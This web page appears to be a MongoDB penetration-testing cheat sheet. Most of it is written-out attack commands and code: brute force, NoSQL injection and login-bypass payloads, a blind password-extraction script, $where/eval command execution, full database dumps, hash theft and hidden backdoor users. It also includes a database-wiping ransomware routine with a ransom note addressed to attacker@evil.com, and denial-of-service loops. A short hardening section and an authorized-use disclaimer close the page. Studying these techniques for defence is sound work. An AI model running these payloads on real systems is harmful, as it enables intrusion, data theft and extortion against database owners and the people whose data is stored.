Skip to content

MongoDB

Table of Contents


Overview

What is MongoDB?

MongoDB is a popular open-source NoSQL database that uses a document-oriented data model. Unlike traditional relational databases, MongoDB stores data in flexible, JSON-like documents called BSON (Binary JSON).

Default Configuration Issues

  • Default Port: 27017 (main), 27018 (shard), 28017 (HTTP interface - deprecated)
  • No Authentication by Default: MongoDB historically did not enforce authentication
  • Bind to All Interfaces: Often misconfigured to listen on 0.0.0.0
  • HTTP Interface: Older versions expose web interface on port 28017

Key Security Concerns

  • No authentication required in default installations
  • JavaScript execution capabilities ($where operator)
  • Flexible query operators enable NoSQL injection
  • Configuration files store passwords in plaintext
  • Publicly exposed instances (Shodan frequently finds these)

Reconnaissance & Enumeration

Port Scanning

# Basic scan for MongoDB default ports
nmap -p 27017,27018,28017 <target>

# Service version detection
nmap -p 27017 -sV <target>

# Comprehensive scan with NSE scripts
nmap -p 27017 -sV -sC <target>
nmap -p 27017 --script "mongo* and default" <target>

# Scan entire network
masscan -p27017 <network_range> --rate=1000

# Check for HTTP interface (deprecated)
nmap -p 28017 <target>
curl http://<target>:28017/

Nmap NSE Scripts

# MongoDB information gathering
nmap -p 27017 --script mongodb-info <target>

# List databases (works without authentication if enabled)
nmap -p 27017 --script mongodb-databases <target>

# Brute force authentication
nmap -p 27017 --script mongodb-brute <target>

# All MongoDB scripts
nmap -p 27017 --script "mongodb-*" <target>
# Using netcat
nc -nv <target> 27017

# Check if authentication is required
echo "db.version()" | nc <target> 27017

Shodan Queries

# Find MongoDB instances
mongodb port:27017

# Find MongoDB with specific version
mongodb port:27017 version:"2.6"

# Find MongoDB without authentication
mongodb port:27017 "partially open"

# Find MongoDB with HTTP interface
product:mongodb port:28017

Default Credentials

Common Default Scenarios

# No authentication (most common in older versions)
Username: (none)
Password: (none)

# If authentication is enabled, try common credentials:
Username: admin
Password: admin

Username: admin
Password: password

Username: mongodb
Password: mongodb

Username: root
Password: root

Testing for No Authentication

# Connect without credentials
mongo <target>:27017

# If successful, you'll get a MongoDB shell
# Try listing databases
show dbs

Connection Methods

Using mongo CLI

# Basic connection (no authentication)
mongo <host>:27017

# Connection with specific database
mongo <host>:27017/<database>

# Connection with authentication
mongo --host <host> --port 27017 -u <username> -p <password>
mongo mongodb://<username>:<password>@<host>:27017/<database>

# Connection with authentication database
mongo --host <host> --port 27017 -u <username> -p <password> --authenticationDatabase admin

# URI connection string
mongo "mongodb://<username>:<password>@<host>:27017/<database>?authSource=admin"

# SSL/TLS connection
mongo "mongodb://<username>:<password>@<host>:27017/<database>?ssl=true"

Using Python (pymongo)

from pymongo import MongoClient

# No authentication
client = MongoClient('mongodb://<host>:27017/')

# With authentication
client = MongoClient(
    host='<host>',
    port=27017,
    username='<username>',
    password='<password>',
    authSource='admin'
)

# Get server info
print(client.server_info())

# List databases
for db in client.list_databases():
    print(db)
    print(client[db['name']].list_collection_names())

Using Metasploit

# MongoDB login scanner
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS <target>
set RPORT 27017
set USERNAME admin
set PASSWORD admin
run

# MongoDB enumeration
use auxiliary/gather/mongodb_js_inject_collection_enum
set RHOSTS <target>
run

Manual Enumeration

Database Enumeration

// Show all databases
show dbs

// Switch to a database
use <database_name>

// Show current database
db.getName()
db

// Get database statistics
db.stats()

// Get database size
db.stats().dataSize

Collection Enumeration

// Show all collections in current database
show collections

// Get collection names
db.getCollectionNames()

// Loop through all collections
db.getCollectionNames().forEach(function(collection) {
    print("Collection: " + collection);
});

// Count documents in a collection
db.<collection>.count()

// Get collection statistics
db.<collection>.stats()

User Enumeration

// Show users (requires admin access)
use admin
db.system.users.find()

// Get current user
db.runCommand({connectionStatus: 1})

// Show roles
db.getRoles({showBuiltinRoles: true})

Version & Configuration

// Get MongoDB version
db.version()

// Get server build info
db.serverBuildInfo()

// Get server status (detailed info)
db.serverStatus()

// Check if authentication is enabled
db.runCommand({getParameter: 1, authenticationMechanisms: 1})

// Check JavaScript execution
db.adminCommand({getParameter: 1, javascriptEnabled: 1})

Data Sampling

// View first document in collection
db.<collection>.findOne()

// View first 10 documents
db.<collection>.find().limit(10)

// View all documents (be careful with large collections!)
db.<collection>.find()

// Pretty print
db.<collection>.find().pretty()

// Sample documents from all collections
db.getCollectionNames().forEach(function(c) {
    print("Collection: " + c);
    printjson(db[c].findOne());
});

// Find specific data
db.<collection>.find({"username": "admin"})
db.<collection>.find({"email": {$regex: "@admin.com"}})

NoSQL Injection

Understanding NoSQL Injection

NoSQL injection exploits occur when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection targets MongoDB's operators and JavaScript execution.

Detection & Testing

# Fuzz strings for MongoDB
'"`{;$Foo}$Foo\xYZ

# URL encoded version
%27%22%60%7b%3b%24Foo%7d%24Foo%5cxYZ

# Test for syntax breaking
'
"
\
;
{}

Operator Injection

Authentication Bypass Operators

// URL Parameters
username[$ne]=invalid&password[$ne]=invalid
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

// JSON Payloads
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$exists": true}, "password": {"$exists": true}}

Common MongoDB Operators

// Comparison operators
$eq  // Equal to
$ne  // Not equal to
$gt  // Greater than
$gte // Greater than or equal to
$lt  // Less than
$lte // Less than or equal to
$in  // In array
$nin // Not in array

// Logical operators
$and
$or
$not
$nor

// Element operators
$exists
$type

// Evaluation operators
$regex    // Regular expression
$where    // JavaScript expression (DANGEROUS)
$expr
$jsonSchema

// Array operators
$all
$elemMatch
$size

JavaScript Injection ($where)

// Basic JavaScript injection
{"$where": "this.username == 'admin'"}

// Authentication bypass
{"$where": "1==1"}
{"$where": "return true"}

// Time-based injection
{"$where": "sleep(5000)"}

// Command execution (if possible)
{"$where": "return shellHelper.run('whoami')"}

// Extract data character by character
{"$where": "this.password.substring(0,1) == 'a'"}

Blind NoSQL Injection

Using $regex for Data Extraction

import requests
import string

username = "admin"
password = ""
url = "http://example.com/login"
charset = string.printable

while True:
    for char in charset:
        if char not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            # URL parameter method
            payload = f"?username={username}&password[$regex]=^{password + char}"

            # JSON method
            # payload = {"username": username, "password": {"$regex": f"^{password + char}"}}

            response = requests.get(url + payload)
            if "success" in response.text:
                print(f"Found: {password + char}")
                password += char
                break

Length Detection

// Test password length
username[$eq]=admin&password[$regex]=.{1}  // Length 1
username[$eq]=admin&password[$regex]=.{5}  // Length 5
username[$eq]=admin&password[$regex]=.{10} // Length 10

Boolean-Based Injection

// True condition
' && 1==1 && 'x
' || '1'=='1

// False condition
' && 0==1 && 'x
' || '1'=='2

// In MongoDB queries
this.category == 'fizzy' || '1'=='1'

Tautology-Based Bypass

// Always true conditions
admin' || 'a'=='a
' || 1==1//
' || 1==1 
{"username": "admin", "password": {"$ne": "randomstring"}}

Authentication Bypass

No Authentication Scenarios

# Simply connect
mongo <target>:27017

# List everything
show dbs
use <database>
show collections
db.<collection>.find()

Bypassing with Operators

# Common bypass payloads
username=admin&password[$ne]=wrong
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=^admin.*&password[$ne]=null
username[$gt]=&password[$gt]=

HTTP POST JSON Bypass

POST /login HTTP/1.1
Content-Type: application/json

{
  "username": {"$ne": null},
  "password": {"$ne": null}
}

PHP Array Manipulation

# If PHP converts parameters to arrays
username[]=admin&password[$ne]=wrongpassword

# Results in:
{"username": ["admin"], "password": {"$ne": "wrongpassword"}}

Duplicate Key Exploitation

// MongoDB uses last occurrence of duplicate keys
{"id": "1", "id": "100"}
// Final value of "id" will be "100"

Brute Force Attacks

Using Hydra

# Basic brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> mongodb

# With specific port
hydra -l admin -P passwords.txt -s 27017 <target> mongodb

# Multiple users
hydra -L users.txt -P passwords.txt <target> mongodb

Using Nmap

# Include empty password in wordlist
nmap -p 27017 --script mongodb-brute \
     --script-args userdb=users.txt,passdb=passwords.txt <target>

# Brute force with default wordlists
nmap -p 27017 --script mongodb-brute <target>

Using Metasploit

use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS <target>
set RPORT 27017
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run

Custom Bash Script

#!/bin/bash
target="target.com"

for pass in $(cat passwords.txt); do
    mongo "mongodb://admin:$pass@$target:27017/admin" \
          --eval "db.version()" 2>/dev/null && \
          echo "[+] Found: admin:$pass" && break
done

Command Execution

JavaScript Execution via $where

// Check if JavaScript is enabled
db.adminCommand({getParameter: 1, javascriptEnabled: 1})

// Execute JavaScript (deprecated but might work)
db.runCommand({
    eval: "function() { return 'test'; }",
    nolock: true
})

// Using $where operator
db.collection.find({
    $where: "return 'test'"
})

// Potential command execution (rarely works)
db.collection.find({
    $where: "return shellHelper.run('whoami')"
})

Server-Side JavaScript (Legacy)

// Run JavaScript on server (deprecated in newer versions)
db.eval("return 1+1")

// Potential command execution
db.eval("run('whoami')")
db.eval("cat /etc/passwd")

Map-Reduce for Code Execution

// Map-reduce can execute JavaScript
db.collection.mapReduce(
    function() { emit(this._id, 1); },
    function(key, values) { return Array.sum(values); },
    { out: "result" }
)

Data Exfiltration

Using mongodump

# Dump entire MongoDB instance
mongodump --host <target> --port 27017 --out /tmp/dump

# Dump with authentication
mongodump --host <target> --port 27017 \
          --username admin --password password \
          --authenticationDatabase admin \
          --out /tmp/dump

# Dump specific database
mongodump --host <target> --db <database_name> --out /tmp/dump

# Dump specific collection
mongodump --host <target> --db <database_name> \
          --collection <collection_name> --out /tmp/dump

# Dump to archive file
mongodump --host <target> --archive=dump.archive

# Compressed dump
mongodump --host <target> --gzip --out /tmp/dump

# Dump with query filter
mongodump --host <target> --db <database> \
          --collection users \
          --query '{"role": "admin"}' \
          --out /tmp/dump

Using mongoexport

# Export collection to JSON
mongoexport --host <target> --db <database> \
            --collection users --out users.json

# Export to CSV
mongoexport --host <target> --db <database> \
            --collection users --type=csv \
            --fields name,email,password \
            --out users.csv

# Export with query
mongoexport --host <target> --db <database> \
            --collection users \
            --query '{"admin": true}' \
            --out admins.json

# Export with authentication
mongoexport --host <target> --db <database> \
            --collection users \
            --username admin --password password \
            --authenticationDatabase admin \
            --out users.json

Manual Extraction via mongo Shell

// Export to JSON file
mongo <target>/<database> --eval "db.users.find()" > users_data.json

// Loop through all collections and export
db.getCollectionNames().forEach(function(collection) {
    print("Exporting: " + collection);
    var cursor = db[collection].find();
    while(cursor.hasNext()) {
        printjson(cursor.next());
    }
});

Extracting via Python

from pymongo import MongoClient
import json

client = MongoClient('mongodb://<host>:27017/')
db = client['<database>']

# Export entire collection
collection = db['users']
data = list(collection.find())

# Save to JSON
with open('users.json', 'w') as f:
    json.dump(data, f, default=str, indent=2)

# Export all collections
for collection_name in db.list_collection_names():
    collection = db[collection_name]
    data = list(collection.find())

    with open(f'{collection_name}.json', 'w') as f:
        json.dump(data, f, default=str, indent=2)

Post-Exploitation

Password Hash Extraction

// Extract user hashes (requires admin access)
use admin
db.system.users.find()

// Format hashes for cracking
db.system.users.find().forEach(function(u) {
    print(u.user + ":" + u.credentials["SCRAM-SHA-1"].storedKey);
    print(u.user + ":" + u.credentials["SCRAM-SHA-256"].storedKey);
});

// Export user hashes
mongoexport --host <target> --db admin \
            --collection system.users \
            --username admin --password password \
            --out user_hashes.json

Cracking MongoDB Hashes

# MongoDB uses SCRAM-SHA-1 or SCRAM-SHA-256
# Hash format: $mongodb-scram-sha-1$<iterations>$<salt>$<hash>

# Using John the Ripper
john --format=mongodb-scram hashes.txt

# Using hashcat
hashcat -m <mode> hashes.txt wordlist.txt

Searching for Sensitive Data

// Find collections with interesting names
db.getCollectionNames().filter(function(name) {
    return name.match(/user|pass|cred|admin|secret|key|token/i);
});

// Search for password fields
db.getCollectionNames().forEach(function(col) {
    var sample = db[col].findOne();
    if (sample) {
        for (var key in sample) {
            if (key.match(/pass|pwd|credential|secret|token/i)) {
                print("Found in " + col + ": " + key);
                printjson(db[col].find({}, {[key]: 1}).limit(5));
            }
        }
    }
});

// Find email addresses
db.<collection>.find({"email": {$exists: true}})

// Find credit card patterns
db.<collection>.find({"cardnumber": {$exists: true}})

Privilege Escalation

// Create new admin user
use admin
db.createUser({
    user: "backdoor",
    pwd: "P@ssw0rd123",
    roles: [{role: "root", db: "admin"}]
})

// Grant admin privileges to existing user
db.grantRolesToUser("username", [{role: "root", db: "admin"}])

// Add role to user
db.updateUser("username", {
    roles: [
        {role: "readWriteAnyDatabase", db: "admin"},
        {role: "userAdminAnyDatabase", db: "admin"}
    ]
})

Persistence

// Create backdoor user
use admin
db.createUser({
    user: "sysadmin",
    pwd: "ComplexP@ss123",
    roles: [
        {role: "root", db: "admin"},
        {role: "dbOwner", db: "admin"}
    ]
})

// Hide user in obscure database
use logs
db.createUser({
    user: "logger",
    pwd: "P@ssw0rd",
    roles: [{role: "root", db: "admin"}]
})

Database Ransomware Attack

// Backup data first (attacker's copy)
mongodump --host <target> --out /attacker/backup

// Drop all databases except admin and local
db.adminCommand('listDatabases').databases.forEach(function(d) {
    if (d.name != 'admin' && d.name != 'local') {
        db.getSiblingDB(d.name).dropDatabase();
    }
});

// Leave ransom note
use admin
db.RANSOM_NOTE.insert({
    message: "Your databases have been encrypted. Send 1 BTC to...",
    bitcoin_address: "1ABC...",
    contact: "mailto:attacker@evil.com",
    deadline: new Date("2024-12-31")
});

Denial of Service

// Resource-intensive query
db.collection.find({
    $where: "while(true){}"
})

// Create massive indexes
for(var i=0; i<1000; i++) {
    db.collection.createIndex({["field"+i]: 1});
}

// Insert huge documents
for(var i=0; i<100000; i++) {
    db.collection.insert({data: new Array(100000).join("X")});
}

// Slow query with $where
db.collection.find({
    $where: "sleep(10000) || true"
})

Common Vulnerabilities

CVE-2023-28359 - Null Pointer Dereference

MongoDB 5.0 before 5.0.14 and 6.0 before 6.0.3 contains a denial-of-service 
vulnerability via an aggregation query with the $setWindowFields stage.

CVE-2021-20329 - Authorization Bypass

MongoDB Server before 5.0 allows unprivileged users to bypass authorization via 
specific aggregation pipeline stages.

Misconfiguration Vulnerabilities

// Check for common misconfigurations
db.serverStatus().security
db.adminCommand({getParameter: 1, authenticationMechanisms: 1})

// Check if NoAuth is enabled
# In mongodb.conf
grep "noauth.*true" /etc/mongodb.conf
grep "auth.*true" /etc/mongodb.conf

// Check bind IP
# In mongodb.conf
bindIp: 0.0.0.0  // DANGEROUS - exposed to internet

Object ID Prediction

// MongoDB ObjectID structure:
// 5f2459ac9fa6dc2500314019
// 5f2459ac: Timestamp (Unix epoch)
// 9fa6dc: Machine identifier
// 2500: Process ID
// 314019: Counter

// Tool to predict Object IDs
// https://github.com/andresriancho/mongo-objectid-predict

Automated Tools

NoSQLMap

# Install NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py

# Scan for NoSQL injection
python nosqlmap.py --attack 2 \
                   --victim <target> \
                   --webPort 80 \
                   --uri /login \
                   --httpMethod POST \
                   --postData "email,test@test.test,password,qwerty"

# Scan for open MongoDB instances
python nosqlmap.py --attack 1 --target <target>

# Clone database
python nosqlmap.py --attack 3 --target <target>

NoSQL Exploitation Framework

# Install
git clone https://github.com/torque59/Nosql-Exploitation-Framework
cd Nosql-Exploitation-Framework
python nosqlframework.py -h

# Run scans
python nosqlframework.py --target <url>

nosqli Scanner

# Install
npm install -g nosqli

# Scan for NoSQL injection
nosqli scan -t http://target.com/user/lookup?username=test

mongoaudit

# Install
pip install mongoaudit

# Scan MongoDB instance
mongoaudit <host>:27017

# Tests performed:
# - MongoDB on non-default port
# - Server accepts connections from whitelisted hosts
# - HTTP status interface not accessible
# - MongoDB version check
# - Authentication enabled
# - SSL/TLS enabled
# - Security configuration audit

Metasploit Modules

# MongoDB login scanner
use auxiliary/scanner/mongodb/mongodb_login

# MongoDB collection enumeration
use auxiliary/gather/mongodb_js_inject_collection_enum

# MongoDB exploit (version 2.2.3 and older)
use exploit/linux/misc/mongod_native_helper

Custom Python Scanner

#!/usr/bin/env python3
from pymongo import MongoClient
import sys

def scan_mongodb(host, port=27017):
    try:
        # Attempt connection without auth
        client = MongoClient(host, port, serverSelectionTimeoutMS=5000)

        # Get server info
        info = client.server_info()
        print(f"[+] MongoDB Version: {info['version']}")

        # List databases
        print("[+] Accessible Databases:")
        for db in client.list_database_names():
            print(f"    - {db}")

            # List collections
            collections = client[db].list_collection_names()
            print(f"      Collections: {', '.join(collections)}")

        print("[!] No authentication required!")
        return True

    except Exception as e:
        print(f"[-] Connection failed: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port]")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 27017

    scan_mongodb(host, port)

Defense & Hardening

Enable Authentication

# Create admin user first
mongo
use admin
db.createUser({
    user: "admin",
    pwd: "StrongP@ssw0rd123!",
    roles: [{role: "userAdminAnyDatabase", db: "admin"}]
})

# Edit /etc/mongodb.conf or /etc/mongod.conf
security:
  authorization: enabled

# Restart MongoDB
sudo systemctl restart mongod

Network Configuration

# Bind to specific IP only (not 0.0.0.0)
net:
  bindIp: 127.0.0.1,10.0.0.5
  port: 27017

# Enable SSL/TLS
net:
  ssl:
    mode: requireSSL
    PEMKeyFile: /etc/ssl/mongodb.pem
    CAFile: /etc/ssl/ca.pem

Disable JavaScript Execution

# In mongod.conf
security:
  javascriptEnabled: false

Configure Firewall

# Allow only specific IPs
sudo ufw allow from 10.0.0.0/24 to any port 27017

# Block all others
sudo ufw deny 27017
sudo ufw enable

Role-Based Access Control

// Create user with minimal privileges
use myDatabase
db.createUser({
    user: "appuser",
    pwd: "password",
    roles: [
        {role: "readWrite", db: "myDatabase"}
    ]
})

// Create read-only user
db.createUser({
    user: "readonly",
    pwd: "password",
    roles: [
        {role: "read", db: "myDatabase"}
    ]
})

Audit Logging

# Enable audit logging
auditLog:
  destination: file
  format: JSON
  path: /var/log/mongodb/audit.json
  filter: '{atype: {$in: ["authenticate", "createUser", "dropUser"]}}'

Additional Security Measures

# Disable HTTP interface (deprecated anyway)
net:
  http:
    enabled: false

# Set storage encryption
security:
  enableEncryption: true
  encryptionKeyFile: /path/to/keyfile

# Limit connections
net:
  maxIncomingConnections: 100

# Enable authentication
security:
  authorization: enabled

# Disable deprecated features
setParameter:
  enableTestCommands: 0

Input Validation

// Node.js example with mongoose
const mongoose = require('mongoose');

// Use schema validation
const userSchema = new mongoose.Schema({
    username: {
        type: String,
        required: true,
        validate: {
            validator: function(v) {
                return /^[a-zA-Z0-9_]+$/.test(v);
            }
        }
    },
    email: {
        type: String,
        required: true,
        validate: {
            validator: function(v) {
                return /\S+@\S+\.\S+/.test(v);
            }
        }
    }
});

// Sanitize user input
const mongoSanitize = require('mongo-sanitize');
const cleanInput = mongoSanitize(userInput);

Prevent NoSQL Injection

// Bad - vulnerable to injection
db.users.find({username: req.body.username});

// Good - type casting
db.users.find({username: String(req.body.username)});

// Better - using parameterized queries
const username = String(req.body.username);
db.users.find({username: username});

// Best - schema validation + sanitization
const sanitizedUsername = validator.escape(String(req.body.username));
db.users.find({username: sanitizedUsername});

Quick Reference Commands

One-Liners

# Quick scan
nmap -p 27017 --script mongodb-databases <target>

# Connect and enumerate
mongo <target>:27017 --eval "show dbs"

# Dump everything
mongodump --host <target> --out dump/

# Check auth required
mongo <target>:27017 --eval "db.serverStatus()" 2>&1 | grep -i "auth"

# Find MongoDB in network
nmap -p 27017 --open <network_range> -oG - | grep open

Essential MongoDB Commands

// Information gathering
show dbs
show collections
db.stats()
db.serverStatus()
db.version()

// User enumeration
use admin
db.system.users.find()

// Data extraction
db.<collection>.find()
db.<collection>.find().pretty()
db.<collection>.findOne()

// Count records
db.<collection>.count()

// Administrative
db.createUser({})
db.dropUser("username")
db.shutdownServer()

Resources & References

Official Documentation

Penetration Testing Resources

Tools

Notable Breaches

  • 275 Million Indian citizen records exposed (May 2019)
  • 93 Million Mexican voter records leaked
  • MacKeeper 13 million users compromised
  • Family Locator app exposing 238,000 users' real-time locations

Best Practices for Pentesters

  • Always obtain written authorization before testing
  • Stay within the defined scope of engagement
  • Document all findings and actions taken
  • Report vulnerabilities responsibly
  • Do not cause damage or data loss

Operational Security

  • Use authorized networks and tools
  • Clean up test artifacts after engagement
  • Maintain confidentiality of discovered data
  • Follow responsible disclosure guidelines

Testing Methodology

  1. Reconnaissance - Identify MongoDB instances
  2. Enumeration - Gather version, configuration info
  3. Vulnerability Assessment - Test for weak/no auth
  4. Exploitation - Attempt NoSQL injection, auth bypass
  5. Post-Exploitation - Extract data, maintain access
  6. Documentation - Record all findings with PoCs
  7. Remediation - Provide hardening recommendations

Reporting

  • Provide clear, actionable recommendations
  • Include proof-of-concept demonstrations
  • Prioritize findings by severity (CVSS scores)
  • Explain business impact of vulnerabilities
  • Suggest specific remediation steps

Disclaimer

This cheatsheet is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal and punishable by law. Always obtain proper written authorization before conducting penetration tests. The techniques described here should only be used in controlled environments with explicit permission.

Comments